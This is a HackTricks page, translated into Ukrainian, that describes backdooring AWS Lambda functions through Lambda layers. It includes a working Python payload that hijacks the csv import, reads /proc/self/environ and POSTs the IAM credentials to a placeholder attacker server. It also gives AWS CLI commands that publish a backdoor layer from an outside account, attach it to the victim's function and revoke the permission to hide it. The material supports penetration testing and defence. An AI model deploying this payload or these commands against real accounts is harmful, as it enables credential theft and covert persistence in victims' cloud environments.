AWS - Lambda Layers Persistence

Support HackTricks

Lambda Layers

Lambda layer - це архів .zip, який може містити додатковий код або інший контент. Шар може містити бібліотеки, кастомний runtime, дані або конфігураційні файли.

Можна включити до п'яти шарів на функцію. Коли ви включаєте шар у функцію, вміст витягується до каталогу /opt в середовищі виконання.

За замовчуванням створені вами шари є приватними для вашого облікового запису AWS. Ви можете вибрати поділитися шаром з іншими обліковими записами або зробити шар публічним. Якщо ваші функції використовують шар, опублікований іншим обліковим записом, ваші функції можуть продовжувати використовувати версію шару після його видалення або після відкликання вашого дозволу на доступ до шару. Однак ви не можете створити нову функцію або оновити функції, використовуючи видалену версію шару.

Функції, розгорнуті як контейнерне зображення, не використовують шари. Замість цього ви упаковуєте свій улюблений runtime, бібліотеки та інші залежності в контейнерне зображення під час його створення.

Python load path

Шлях завантаження, який Python буде використовувати в lambda, є наступним:

['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']

Перевірте, як другу та третю позиції займають каталоги, де lambda layers розпаковують свої файли: /opt/python/lib/python3.9/site-packages та /opt/python

Якщо зловмисник зміг внедрити використану lambda layer або додати одну, яка буде виконувати довільний код, коли завантажується загальна бібліотека, він зможе виконувати шкідливий код з кожним викликом lambda.

Отже, вимоги такі:

  • Перевірте бібліотеки, які завантажуються кодом жертви

  • Створіть проксі-бібліотеку з lambda layers, яка буде виконувати користувацький код та завантажувати оригінальну бібліотеку.

Завантажені бібліотеки

Коли я зловживав цією технікою, я зіткнувся з труднощами: деякі бібліотеки вже завантажені в середовищі виконання python, коли ваш код виконується. Я очікував знайти такі речі, як os або sys, але навіть бібліотека json була завантажена. Щоб зловживати цією технікою збереження, код повинен завантажити нову бібліотеку, яка не завантажена, коли код виконується.

З таким кодом на python можливо отримати список бібліотек, які попередньо завантажені в середовищі виконання python в lambda:

import sys

def lambda_handler(event, context):
return {
'statusCode': 200,
'body': str(sys.modules.keys())
}

І це список (перевірте, що такі бібліотеки, як os або json, вже є)

'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function'

І це список бібліотек, які lambda включає за замовчуванням: https://gist.github.com/gene1wood/4a052f39490fae00e0c3

Задній хід в Lambda Layer

У цьому прикладі припустимо, що цільовий код імпортує csv. Ми будемо заднім ходом імпортувати бібліотеку csv.

Для цього ми створимо директорію csv з файлом __init__.py в ній у шляху, який завантажується lambda: /opt/python/lib/python3.9/site-packages Тоді, коли lambda буде виконана і спробує завантажити csv, наш файл __init__.py буде завантажений і виконаний. Цей файл повинен:

  • Виконати наш payload

  • Завантажити оригінальну бібліотеку csv

Ми можемо зробити обидва з:

import sys
from urllib import request

with open("/proc/self/environ", "rb") as file:
url= "https://attacker13123344.com/" #Change this to your server
req = request.Request(url, data=file.read(), method="POST")
response = request.urlopen(req)

# Remove backdoor directory from path to load original library
del_path_dir = "/".join(__file__.split("/")[:-2])
sys.path.remove(del_path_dir)

# Remove backdoored loaded library from sys.modules
del sys.modules[__file__.split("/")[-2]]

# Load original library
import csv as _csv

sys.modules["csv"] = _csv

Тоді створіть zip з цим кодом за шляхом python/lib/python3.9/site-packages/__init__.py і додайте його як шар lambda.

Ви можете знайти цей код за посиланням https://github.com/carlospolop/LambdaLayerBackdoor

Інтегрований payload надішле IAM креденціали на сервер ПЕРШИЙ РАЗ, коли його викликають, або ПІСЛЯ скидання контейнера lambda (зміна коду або холодна lambda), але інші техніки такі як наступні також можуть бути інтегровані:

Зовнішні шари

Зверніть увагу, що можливо використовувати шари lambda з зовнішніх облікових записів. Більше того, lambda може використовувати шар з зовнішнього облікового запису, навіть якщо у нього немає дозволів. Також зверніть увагу, що максимальна кількість шарів, які може мати lambda, становить 5.

Отже, для покращення універсальності цієї техніки зловмисник може:

  • Задній доступ до існуючого шару користувача (нічого не є зовнішнім)

  • Створити шар у своєму обліковому записі, надати обліковому запису жертви доступ до використання шару, налаштувати шар у Lambda жертви та видалити дозвіл.

  • Lambda все ще зможе використовувати шар, а жертва не матиме жодного простого способу завантажити код шарів (окрім отримання rev shell всередині lambda)

  • Жертва не побачить зовнішні шари, використані з aws lambda list-layers

# Upload backdoor layer
aws lambda publish-layer-version --layer-name "ExternalBackdoor" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"

# Give everyone access to the lambda layer
## Put the account number in --principal to give access only to an account
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion

## Add layer to victims Lambda

# Remove permissions
aws lambda remove-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1
Підтримайте HackTricks

Last updated